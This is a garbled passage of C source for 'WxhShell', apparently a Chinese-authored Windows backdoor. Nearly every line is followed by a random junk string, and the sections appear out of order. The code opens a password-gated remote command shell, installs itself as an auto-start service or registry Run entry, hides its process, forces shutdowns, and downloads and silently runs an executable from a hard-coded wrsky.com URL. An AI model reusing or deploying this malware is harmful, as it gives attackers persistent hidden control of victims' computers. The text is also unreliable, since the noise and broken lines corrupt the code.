  // 关机 Ay@/{RZz  
  case 'd': { g#%Egb1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T f40lv+{  
    if(Boot(SHUTDOWN)) 6an= C_Mb`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "t)$4gERK  
    else { (91 YHhk{  
    closesocket(wsh); U1;&G  
    ExitThread(0); z7_h$v  
    } \C<'2KZR,  
    break; {|B 2$1':  
    } +z|@K=d#|  
  // 获取shell qM18 Ji*  
  case 's': { #b9V&/ln  
    CmdShell(wsh); Mc~L%5  
    closesocket(wsh); yu}yON  
    ExitThread(0); =p2: qSV  
    break; cV4]Y(9  
  } 3gv@JGt7`  
  // 退出 tx7B?/5D  
  case 'x': { :/R>0n,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t{-*@8Ke  
    CloseIt(wsh); : G'a"%x  
    break; Le V";=_n  
    } 7/zaf  
  // 离开 k&9[}a*  
  case 'q': { 0at['zw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sSy!mtS  
    closesocket(wsh); &!F"3bD0  
    WSACleanup(); Ou`;HN;[  
    exit(1); \0n<6^y  
    break; &Jd_@F#J  
        } dUL*~%2I  
  } FQ>y2n=<d  
  } 9]vy#a#  
ye-[l7  
  // 提示信息 `ES+$O>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M#k$[w}=  
} xW|8-q  
  } 4\E1M[6  
u'T?e+=  
  return; `=lo.c  
} /?NfU.+K  
RiZ)#0  
// shell模块句柄 22/"0=2g  
int CmdShell(SOCKET sock) c_T+T/O  
{ UPy 4ST  
STARTUPINFO si; EXsVZg"#  
ZeroMemory(&si,sizeof(si)); 'cqY-64CJZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SLz;5%CPV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o@L2c3?c5  
PROCESS_INFORMATION ProcessInfo; hkOFPt&  
char cmdline[]="cmd"; y3':x[d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _jb&=f8  
  return 0; A=sz8?K+`  
} [!#}#  
G- |  
// 自身启动模式 2UG>(R:  
int StartFromService(void) #&b<D2d  
{ cTQ._|M  
typedef struct ITy/h]0  
{ ?pWda<&  
  DWORD ExitStatus; N/eus"O;  
  DWORD PebBaseAddress; " {X0&  
  DWORD AffinityMask; nRyx2\Py+  
  DWORD BasePriority; ,Jx.Kj.,  
  ULONG UniqueProcessId; Pk;1q?tGw  
  ULONG InheritedFromUniqueProcessId; .X5A7 m  
}   PROCESS_BASIC_INFORMATION; F:sUGM,  
{e5-  
PROCNTQSIP NtQueryInformationProcess; Jn%Etz-  
e8M0Lz#}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DVt^O [  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D`fIw` _  
D!8v$(#hR  
  HANDLE             hProcess; TK0WfWch  
  PROCESS_BASIC_INFORMATION pbi; >)HKruSW.  
'nS>'yYH#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T 0qM "  
  if(NULL == hInst ) return 0; c axOxRo\  
d@tf+_Ih  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  A"1%E.1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }~p%e2<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _gEojuaN  
_U9.u#>sV  
  if (!NtQueryInformationProcess) return 0; Z_a@,k:+[  
>S8 n 8U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b4f3ef  
  if(!hProcess) return 0; -q(*)N5.2  
2St<m-&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;U3K@_  
1p$*N  
  CloseHandle(hProcess); =?_:h`}  
gtIEpYN+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sm{/S*3  
if(hProcess==NULL) return 0; 7'gk=MQc  
I%b5a`7  
HMODULE hMod; MdFFt:y:  
char procName[255]; b`JS&E  
unsigned long cbNeeded; <g&.UW4  
,g4T>7`&U%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mi1^hl'2  
$KhD>4^ jL  
  CloseHandle(hProcess); [E+J=L.l  
&- !$qUli  
if(strstr(procName,"services")) return 1; // 以服务启动 l](!2a=[  
Dbb=d8utE  
  return 0; // 注册表启动 e}n(mq  
} mmG]|Cl@  
F8#MI G   
// 主模块 Vvp{y  
int StartWxhshell(LPSTR lpCmdLine) I2-ue 63 ?  
{ KEdqA/F>  
  SOCKET wsl; 7H|0.  
BOOL val=TRUE; 4l>U13~#  
  int port=0; Z|fi$2k0!  
  struct sockaddr_in door; 4TyzD%pOw  
{?q`9[Z  
  if(wscfg.ws_autoins) Install(); ^/cqE[V~,  
+p&zM3:9w  
port=atoi(lpCmdLine); hi4-Z=pl  
&M tF  
if(port<=0) port=wscfg.ws_port; [mj=m?j  
cB_9@0r[S  
  WSADATA data; !E|R3e X_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A'Z!l20_  
k2fJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gvPHB+#A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H/k]u)Gtv  
  door.sin_family = AF_INET; Y]^*mc0fE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eA{A3.f"Hz  
  door.sin_port = htons(port); 72/ bC  
7IQa Xcl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'T(Q  
closesocket(wsl); |onLJY7)  
return 1; s Ytn'&$\  
} VbTX;?  
|`pBI0Sjo  
  if(listen(wsl,2) == INVALID_SOCKET) { <WnIJum  
closesocket(wsl); #DARZhU)  
return 1; m%UF{I,  
} '+ mI  
  Wxhshell(wsl); 66sgs16k  
  WSACleanup(); feH&Ug4?G  
nE?:nJ|%E  
return 0; WncHgz  
f,|;eF-Z  
} \Ui8gDJ8y5  
)T?BO  
// 以NT服务方式启动 OH@gwC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2Nx:Y+[  
{ 9P,[MZ  
DWORD   status = 0; X-Ev>3H  
  DWORD   specificError = 0xfffffff; G(wstHT;/  
:'xZF2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I2pE}6q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LE~vSm^#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J`C 2}$ ~  
  serviceStatus.dwWin32ExitCode     = 0; Q@8(e&{#W  
  serviceStatus.dwServiceSpecificExitCode = 0; +>AVxV=A#  
  serviceStatus.dwCheckPoint       = 0; /x]^Cqe  
  serviceStatus.dwWaitHint       = 0; LN5BU,4=  
F_i"v5#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #f;6Ia>#  
  if (hServiceStatusHandle==0) return; t:P7ah  
.r&CIL >  
status = GetLastError(); 9V~hz (^  
  if (status!=NO_ERROR) 65VTKlDD  
{ OoRg:"9{#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q&O9W?E8dG  
    serviceStatus.dwCheckPoint       = 0; !)CY\c4}d>  
    serviceStatus.dwWaitHint       = 0; f3^qO9R  
    serviceStatus.dwWin32ExitCode     = status; SUIu.4Mz  
    serviceStatus.dwServiceSpecificExitCode = specificError; O_GHvLO=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GT80k]e.  
    return; B.smQt  
  } MRZN4<}9  
ZsCwNZR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Nf2lw]-G4  
  serviceStatus.dwCheckPoint       = 0; b|G~0[g  
  serviceStatus.dwWaitHint       = 0; :7X{s4AU6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vq/hk  
} 1|s` z  
0v6Z 4Ahpo  
// 处理NT服务事件,比如:启动、停止 ;8 *"c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;CoD5F!  
{ T00sYoK  
switch(fdwControl) \TnK<83  
{ {X<_Y<  
case SERVICE_CONTROL_STOP: ;Jb% 2?+=!  
  serviceStatus.dwWin32ExitCode = 0; PMX'vA`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m(dW["8D  
  serviceStatus.dwCheckPoint   = 0; b"`Q&V.  
  serviceStatus.dwWaitHint     = 0; keKsLrd  
  { <0m^b#hdG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >WJQxL4  
  } }6 u)wF5  
  return; wuxOFlrg  
case SERVICE_CONTROL_PAUSE: r+6 DlT a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @3 +   
  break; q4'`qe  
case SERVICE_CONTROL_CONTINUE: 7l09  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^^24a_+2  
  break; d_f*'M2Gv  
case SERVICE_CONTROL_INTERROGATE: (&V)D?/hS  
  break; |Q@(<'8=  
}; ftRdK>a D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Lb(N61  
} /UY'E<wBx  
L_+ Fin  
// 标准应用程序主函数 nB[B FVkU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0S }\ML  
{ 4PR&67|AH_  
V?>&9D"m  
// 获取操作系统版本 MSp) Jc  
OsIsNt=GetOsVer(); F x$W3FIO]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YACx9K H  
blP8"(U  
  // 从命令行安装 NXz/1ut%  
  if(strpbrk(lpCmdLine,"iI")) Install();  BPKrRex  
>{A)d<  
  // 下载执行文件 D5xTuv9T  
if(wscfg.ws_downexe) { :uqEGnEut  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %U .x9UL  
  WinExec(wscfg.ws_filenam,SW_HIDE); Jy[rA<x$  
} P1]F0fR  
.:B0(4Mj  
if(!OsIsNt) { a3z_o)"   
// 如果时win9x,隐藏进程并且设置为注册表启动 J-G)mvkv  
HideProc(); cg_tJ^vrY  
StartWxhshell(lpCmdLine); Qw_> l}k/  
} ;NAKU  
else ;<6S\  
  if(StartFromService()) P]2 /}\f  
  // 以服务方式启动 Q84XmXm|  
  StartServiceCtrlDispatcher(DispatchTable); (y\.uPu!  
else P!)F1U]!  
  // 普通方式启动 a^X% (@Sg  
  StartWxhshell(lpCmdLine); ^)$T`  
7s{['t  
return 0; }s#4m  
} _W,?_"[R=  
rJtk4hOF  
F4~O-g.<  
CG J_k?h  
=========================================== |TJu|zv^  
&Ot9"Aq:  
,?%o ~  
YluvWHWi  
]D^; Ca  
\[8uE,=|  
" N ;n55N  
N[DKA1Ei  
#include <stdio.h> Pp4Q)2X  
#include <string.h> 8Bxb~*  
#include <windows.h> 41rS0QAM  
#include <winsock2.h> &`-e; Xt  
#include <winsvc.h> O -p^S  
#include <urlmon.h> <K/iX%b?  
>Il{{{\>  
#pragma comment (lib, "Ws2_32.lib") :g-vy9vb  
#pragma comment (lib, "urlmon.lib") nn">   
`Cy;/95m  
#define MAX_USER   100 // 最大客户端连接数 [s%uE+``S  
#define BUF_SOCK   200 // sock buffer g(S4i%\  
#define KEY_BUFF   255 // 输入 buffer 1p SEr6  
 ZLf(m35  
#define REBOOT     0   // 重启 >{rD3X"d  
#define SHUTDOWN   1   // 关机 K!-iDaVI  
z_y@4B6>}  
#define DEF_PORT   5000 // 监听端口 'k<~HQr  
Z%SDN"+'g  
#define REG_LEN     16   // 注册表键长度 YPw=iF]  
#define SVC_LEN     80   // NT服务名长度 %T;VS-f  
|+<o(Q(  
// 从dll定义API [W dxMU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k4^!"~<+0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S6_dmTV*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0nR_I^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <4;L& 3  
8lCo\T5"  
// wxhshell配置信息 ' (3|hh)Tl  
struct WSCFG { cz$*6P<9J  
  int ws_port;         // 监听端口 <#T #+uO  
  char ws_passstr[REG_LEN]; // 口令 #,!/Cnqis  
  int ws_autoins;       // 安装标记, 1=yes 0=no !Pd)  
  char ws_regname[REG_LEN]; // 注册表键名 e4.G9(  
  char ws_svcname[REG_LEN]; // 服务名 :<1PCX2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =RlAOgJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gA2]kZg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )S@TYzdAN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SK,UW6h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,twm)%caU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G49`a*Jn  
!4$o*{9Lx:  
}; e\*N Lj_(  
S3c%</'  
// default Wxhshell configuration /AUX7 m.8  
struct WSCFG wscfg={DEF_PORT, ~(^?M  
    "xuhuanlingzhe", VlxHZ  
    1, >kDkvg1"  
    "Wxhshell", v.Q+4 k  
    "Wxhshell", 3nUC,T%  
            "WxhShell Service", 'W~6-c9y  
    "Wrsky Windows CmdShell Service", <2^ F'bQV  
    "Please Input Your Password: ", x!?$y_t  
  1, 0j' Xi_uM  
  "http://www.wrsky.com/wxhshell.exe", Y1{*AV6ev6  
  "Wxhshell.exe" eTY(~J#'  
    }; ] ; B`'Ia  
M-C>I;a  
// 消息定义模块 #ePtfRzJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A_5M\iN\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]Lm?3$u$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; difAQ<`  
char *msg_ws_ext="\n\rExit."; {9nH#yv  
char *msg_ws_end="\n\rQuit."; v%E!  
char *msg_ws_boot="\n\rReboot..."; 4Jw_gOY&D  
char *msg_ws_poff="\n\rShutdown..."; ):5H,B+Vr&  
char *msg_ws_down="\n\rSave to "; MQo/R,F }  
]%h|ox0  
char *msg_ws_err="\n\rErr!"; LJ*W&y(2>Q  
char *msg_ws_ok="\n\rOK!"; 4ZT0~37(  
*p^*>~i9)  
char ExeFile[MAX_PATH]; K|rG&#1J  
int nUser = 0; 7x(z  
HANDLE handles[MAX_USER]; -Vjrh/@  
int OsIsNt; /f!ze|  
L:UPS&)  
SERVICE_STATUS       serviceStatus; Pbakw81!~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K5\;'.9M  
<e-hR$  
// 函数声明 n%ZOR1u)k#  
int Install(void); bN>|4hS  
int Uninstall(void); ?T8^tGD[  
int DownloadFile(char *sURL, SOCKET wsh); ]_:j+6i  
int Boot(int flag); 5R*55@)  
void HideProc(void); #pWeMt'  
int GetOsVer(void); \7 *"M y*  
int Wxhshell(SOCKET wsl); qW9~S0sl  
void TalkWithClient(void *cs); B>e},!  
int CmdShell(SOCKET sock); ?&@a{-  
int StartFromService(void); '2S?4Z  
int StartWxhshell(LPSTR lpCmdLine); p</V_BIW  
;PWx#v+vwF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1&utf0TX6q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .J2tm2]"EZ  
lXu6=r  
// 数据结构和表定义 :v8~'cZ  
SERVICE_TABLE_ENTRY DispatchTable[] = $`|\aXd[C*  
{ <io;d$=}  
{wscfg.ws_svcname, NTServiceMain}, e]3b0`E  
{NULL, NULL} UiN6-{v<2  
}; 91}kBj  
h@D!/PS  
// 自我安装 PKX Tj6hj)  
int Install(void) mP -Y9*k  
{ rjwP#  
  char svExeFile[MAX_PATH]; HH7Bg0=(  
  HKEY key; 4inM d![  
  strcpy(svExeFile,ExeFile); e!1am%aE  
)'axJ  
// 如果是win9x系统,修改注册表设为自启动 ~x g#6%<=  
if(!OsIsNt) { f9?f!k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =(p]L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dC 8,  
  RegCloseKey(key); )L$)qfQ~x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >~rytg]f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A=\:b^\  
  RegCloseKey(key); C dTE~O<)  
  return 0; &u9@FFBT8  
    } n~?n+\.&a  
  } *ZV=4[#bT  
} +o}mV.&1,  
else { ]Jx_bs~g  
=g$>]AE  
// 如果是NT以上系统,安装为系统服务 o@DlK`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5<h:kZ"S^g  
if (schSCManager!=0) ]E}eM@xdD  
{ }\ hz@G<  
  SC_HANDLE schService = CreateService qnTW?c9Z5  
  ( lVo}DFZ  
  schSCManager, {4HcecT  
  wscfg.ws_svcname, DkeFDzQ5  
  wscfg.ws_svcdisp, :o}LJc)|  
  SERVICE_ALL_ACCESS, I+']av8e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tZ_D.syBAc  
  SERVICE_AUTO_START, B1(T-pr  
  SERVICE_ERROR_NORMAL, h7o?z!  
  svExeFile, .%x%(olf  
  NULL, V-w{~  
  NULL, Y]: Ch (Q  
  NULL, d\j[O9W>  
  NULL, Tu_4kUCR!f  
  NULL ^y<8 &ZFH  
  ); 6"u"B-cz  
  if (schService!=0) iJ!p9E*(  
  { k/2TvEV3=  
  CloseServiceHandle(schService); -=a,FDeR  
  CloseServiceHandle(schSCManager); 0E/,l``p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^?-wov$  
  strcat(svExeFile,wscfg.ws_svcname); 4-~S"T8<u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { roHJ$~q?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oS#PBql4  
  RegCloseKey(key); noQS bI @  
  return 0; Ql{:H5  
    } h0;R*c  
  } Hm 17El68  
  CloseServiceHandle(schSCManager); 3\0,>L9ET@  
} @XN|R  
} M|}V6F_y  
L<[%tvV  
return 1; 4LkW`Sbm  
} zL/r V<  
(Kb_/  
// 自我卸载 ECr}7R%  
int Uninstall(void) xpB* > zb  
{ HAdDr!/`  
  HKEY key; V~"-\@  
}^zsN`  
if(!OsIsNt) { U\x $@J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6QG"~>v7'(  
  RegDeleteValue(key,wscfg.ws_regname); 4)NbQ[  
  RegCloseKey(key); ISi^BFU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GVld]ioycG  
  RegDeleteValue(key,wscfg.ws_regname); g& ?{^4t]  
  RegCloseKey(key); l$g \t]  
  return 0; L(t!C~3  
  } NM0s*s42  
} Fu[<zA^  
} y4j\y ? T8  
else { H_d^Xk QZ  
Rh#QPYPq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dd:vQOF;  
if (schSCManager!=0) ZXC_kmBN/  
{ k8E{pc6;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D2 X~tl5<  
  if (schService!=0) OI^sd_gkZ  
  { S$NJmXhx5  
  if(DeleteService(schService)!=0) { {YF(6wVl  
  CloseServiceHandle(schService); J *;= f8  
  CloseServiceHandle(schSCManager); 57[tUO  
  return 0; s%i \z }/  
  } .njk^,N  
  CloseServiceHandle(schService); H_>9'(  
  } |}isSCt  
  CloseServiceHandle(schSCManager); %abc -q  
} v?(z4oOD/>  
} Ff&kK5} q  
>.&E-1[+:  
return 1; \IO<V9^L  
} AfvIzsT0  
\%|%C  
// 从指定url下载文件 sMgRpem;  
int DownloadFile(char *sURL, SOCKET wsh) O 4'/C]B 2  
{ Ox9M![fC  
  HRESULT hr; UOn:@Qn  
char seps[]= "/"; e3,@prr  
char *token; n<e1=L  
char *file; mKuY=#RP  
char myURL[MAX_PATH]; <ZjT4><  
char myFILE[MAX_PATH]; vq:?a  
0^K2"De  
strcpy(myURL,sURL); a[@Y >  
  token=strtok(myURL,seps); rk &ME#<r  
  while(token!=NULL) 7\[)5j  
  { iCtS<"@Yx  
    file=token; i$lp8Y2ih  
  token=strtok(NULL,seps); 4)?s?+  
  } RwUosh\W  
TW-^C ;  
GetCurrentDirectory(MAX_PATH,myFILE); /z`.-D(  
strcat(myFILE, "\\"); |o<c`:;kt  
strcat(myFILE, file); sQBKzvFO3  
  send(wsh,myFILE,strlen(myFILE),0); Q PrP3DK  
send(wsh,"...",3,0); Q#zU0K*^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^X ~S}MX  
  if(hr==S_OK) ti!kJ"q  
return 0;  wWQt  
else 1xjWD30  
return 1; z-_$P)[c  
zx7A}rs3oX  
} PwU<RKAE  
X8y :=k,E  
// 系统电源模块 m2[]`Ir^@  
int Boot(int flag) qyzH*#d=Cf  
{ mwO9`AU;  
  HANDLE hToken; ujS C  
  TOKEN_PRIVILEGES tkp; w_#C8}2  
){*9$486  
  if(OsIsNt) { }U|0F#0$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T'!p{Fbg;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HutQx  
    tkp.PrivilegeCount = 1; 4Q:r83#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +<bvh<]Od  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^Q9K]Vo  
if(flag==REBOOT) { KzQuLD(e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rlY n"3%  
  return 0; jEn 9T  
} TeKU/&fkc  
else { p %hvDC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9Y+7o%6e  
  return 0; '0v]?mM  
} iLQ;`/j  
  } BvP++,a&Sa  
  else { -?w3j9kk>  
if(flag==REBOOT) { |f1RhB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |_OoD9,M  
  return 0; %LBf'iA  
} }kSP p  
else { ndu$N$7+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9r> iP L2H  
  return 0; 9SXpZ*Sx  
} 3hcWR'|  
} M[P1hFuna  
mFt\xGa  
return 1; mYbu1542'n  
} a fLE9  
M[cAfu  
// win9x进程隐藏模块 qtuT%?wT@Z  
void HideProc(void) kRV]`'u,  
{ `NfwW:  
JA% y{Wb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 08/Tk+  
  if ( hKernel != NULL ) B.L_EIw  
  { 0{/'[o7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wr`<bLq1vs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `+i/rc1.  
    FreeLibrary(hKernel); : -$TD('F  
  } sl`?9-_[  
zEh&@{u?  
return; `aSbGMz  
} b^A7R{G7  
q8MyEoc:n  
// 获取操作系统版本 \+Y5b}  
int GetOsVer(void) ^UBzX;|p  
{ ~:*V'/2k  
  OSVERSIONINFO winfo; #vc!SI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ 6*eS+t\  
  GetVersionEx(&winfo); 3zv0Nwb,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *;T'=u_lR  
  return 1; f#-\*  
  else B<ZCuVWH:  
  return 0; D;z!C ys  
} 9{0%M  
c3WF!~1r  
// 客户端句柄模块 zXk^u gFy  
int Wxhshell(SOCKET wsl) / 2MhP=,  
{ WBR# Ux  
  SOCKET wsh; #<G:&  
  struct sockaddr_in client; ,{_56j^d,  
  DWORD myID; -`$J& YU  
}!"Cvu  
  while(nUser<MAX_USER) (dh9aR_a  
{ /Mj|Px%  
  int nSize=sizeof(client); 2fXwJG'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8! /ue.T  
  if(wsh==INVALID_SOCKET) return 1; Zzmo7kFx3  
7!;zkou  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0^)~p{Zh  
if(handles[nUser]==0) Jl|^^?  
  closesocket(wsh); G?!8T91;  
else *+(eH#_2/  
  nUser++; .g94|P  
  } nI] zRduC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S5r.so  
[E/. r{S  
  return 0; eN`G2eE  
} aSI%!Vg.  
i=&]%T6Qk  
// 关闭 socket )1 QOA  
void CloseIt(SOCKET wsh) FGeKhA 8jT  
{ aGAr24]y  
closesocket(wsh); r.c:QY$  
nUser--; ;p87^:  
ExitThread(0); x6ayFq=  
} k1SD{BL  
?)Je%H  
// 客户端请求句柄 7>F[7_  
void TalkWithClient(void *cs) .3#Xjhebvu  
{ ) )t]5Ys%;  
%'VzN3Q5V  
  SOCKET wsh=(SOCKET)cs; J&B5Ll  
  char pwd[SVC_LEN]; &Lbwx&!0b  
  char cmd[KEY_BUFF]; ?!.J 0q  
char chr[1]; bdEI vf7  
int i,j; lqa~ZF*  
yqR]9 "a  
  while (nUser < MAX_USER) { mQ9shdvt-  
 x$FcF8  
if(wscfg.ws_passstr) { <9c{Kt.5(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wk'&n^_br  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d. ZfK  
  //ZeroMemory(pwd,KEY_BUFF); L-zU%`1{M  
      i=0; $LcMG,8%_  
  while(i<SVC_LEN) { b1G6'~U-  
'&$zgK9T?  
  // 设置超时 X&Sah}0V&  
  fd_set FdRead; 8"p rWAN  
  struct timeval TimeOut; |:,`dQfw  
  FD_ZERO(&FdRead); /lhk} y^  
  FD_SET(wsh,&FdRead); 4J?\JcGs  
  TimeOut.tv_sec=8; /2MZH  
  TimeOut.tv_usec=0; .v-2A);I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?y__ Vrw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ab#z&jg!  
BB_(!omq[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OX?E3 <8`  
  pwd=chr[0]; L[<CEk  
  if(chr[0]==0xd || chr[0]==0xa) { ^ > ?C  
  pwd=0; ^/#8 "  
  break; h"'}Z^  
  } DyA1zwp}  
  i++;  kq([c r  
    } \tY7Ga%c  
L\!Oj5  
  // 如果是非法用户,关闭 socket `u_k?)lK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O}j@+p%M  
} keStK8  
f1?%p)C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wA6E7vi'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -B(p8YH  
[k&7h,  
while(1) { w,_LC)9  
O[z6W.  
  ZeroMemory(cmd,KEY_BUFF); }:QoYNq  
>/NegJh'F}  
      // 自动支持客户端 telnet标准   .~TI%&#  
  j=0; NG23  
  while(j<KEY_BUFF) { W|(<z'S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A,(9|#%L  
  cmd[j]=chr[0]; r;E5e]w*-  
  if(chr[0]==0xa || chr[0]==0xd) { V#R; -C  
  cmd[j]=0; ZI8@ 6L\  
  break; E`{DX9^  
  } Mm1>g~o  
  j++; s6#e?5J  
    } Ps;4]=c  
)-Z*/uF^  
  // 下载文件 Y kvEQ=  
  if(strstr(cmd,"http://")) { :nfy=*M#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rq\<zx]au  
  if(DownloadFile(cmd,wsh)) 1=ZQRJW0B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1^ go)(Mx  
  else }lCQ+s!  
